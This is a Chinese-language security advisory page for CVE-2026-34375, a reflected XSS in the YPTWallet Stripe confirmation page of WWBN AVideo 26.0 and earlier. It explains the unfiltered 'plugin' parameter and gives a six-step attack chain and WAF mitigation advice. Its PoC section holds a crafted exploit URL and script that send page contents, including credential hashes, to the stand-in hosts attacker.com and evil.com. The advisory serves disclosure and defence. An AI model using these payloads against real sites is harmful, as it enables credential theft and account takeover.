IPBUF安全漏洞报告
English
CVE-2026-34375 CVSS 8.2 高危

CVE-2026-34375 AVideo平台XSS漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34375
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WWBN AVideo

相关标签

XSSWWBN AVideoCVE-2026-34375Reflected XSSCredentials TheftCWE-79

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及以下版本中,YPTWallet Stripe支付确认页面存在跨站脚本(XSS)漏洞。该页面直接将`$_REQUEST['plugin']`参数回显到JavaScript代码块中,且未经过任何编码或清理。由于该参数未包含在`security.php`定义的输入过滤列表中,攻击者可以通过构造恶意URL诱骗受害者点击,从而注入任意JavaScript代码。此外,该脚本块还会输出当前用户的用户名和密码哈希值,导致成功利用XSS后可立即窃取凭据。

技术细节

该漏洞的根本原因是WWBN AVideo在处理YPTWallet插件支付确认页面的输入时缺乏安全过滤。受影响页面直接从`$_REQUEST`全局数组中获取`plugin`参数,并将其原样嵌入到页面的`<script>`标签内。尽管框架在`security.php`中维护了一份输入过滤列表,但`plugin`参数被遗漏,导致它绕过了全局清理机制。攻击者可以利用这一点,构造包含恶意JavaScript代码的URL(例如:`?plugin=</script><img src=x onerror=alert(1)>`)。当受害者访问该链接时,恶意代码将在其浏览器会话中执行。更为严重的是,该页面的后端逻辑会调用`User::getUserName()`和`User::getUserPass()`将当前登录用户的敏感凭证直接打印在页面上下文中。攻击者通过注入的Payload可以轻松读取这些敏感数据并将其发送至远程服务器,从而完全接管用户账户。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用的是WWBN AVideo平台,且版本低于或等于26.0。
STEP 2
武器化
攻击者构造一个包含恶意JavaScript代码的URL,该代码利用`plugin`参数未经过滤的漏洞,旨在窃取页面中的用户凭证。
STEP 3
投递
攻击者通过钓鱼邮件、即时通讯或社会工程学手段,将恶意链接发送给目标用户(尤其是管理员)。
STEP 4
利用
受害者点击链接,浏览器请求AVideo的支付确认页面,服务器将恶意代码注入到响应页面的JavaScript块中并返回。
STEP 5
安装与执行
受害者的浏览器解析并执行注入的恶意脚本。
STEP 6
数据窃取
恶意脚本从DOM中提取由系统输出的用户名和密码哈希,并将其发送到攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-34375 Target: WWBN AVideo <= 26.0 Parameter: plugin Usage: Access the vulnerable URL with the payload below. --> <!-- Malicious URL construction --> <!-- https://target.com/avideo/plugin/YPTWallet/confirmStripe.php?plugin=%3C/script%3E%3Cscript%3Efetch('https://attacker.com/steal?c='+encodeURIComponent(btoa(document.body.innerHTML)))%3C/script%3E --> <!-- Payload Explanation --> <!-- The payload closes the existing script block and starts a new one to execute arbitrary JS. --> <script> // Simulating the vulnerable code behavior var pluginParam = "</script><script>alert('CVE-2026-34375 Exploited!'); console.log('Stealing credentials...'); var x = new XMLHttpRequest(); x.open('GET', 'http://evil.com/log?data='+document.body.innerHTML); x.send();</script>"; // In a real attack, the injected script would parse the DOM to find the username and password hash // output by User::getUserName() and User::getUserPass(). </script>

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即通过Web应用防火墙(WAF)拦截针对YPTWallet支付确认页面的请求,特别是检测`plugin`参数中包含HTML标签或JavaScript关键字(如`<script>`, `onerror`, `alert`等)的流量。同时,应限制该页面的访问权限,仅允许必要的IP地址或经过严格认证的用户访问,直至完成官方补丁的更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表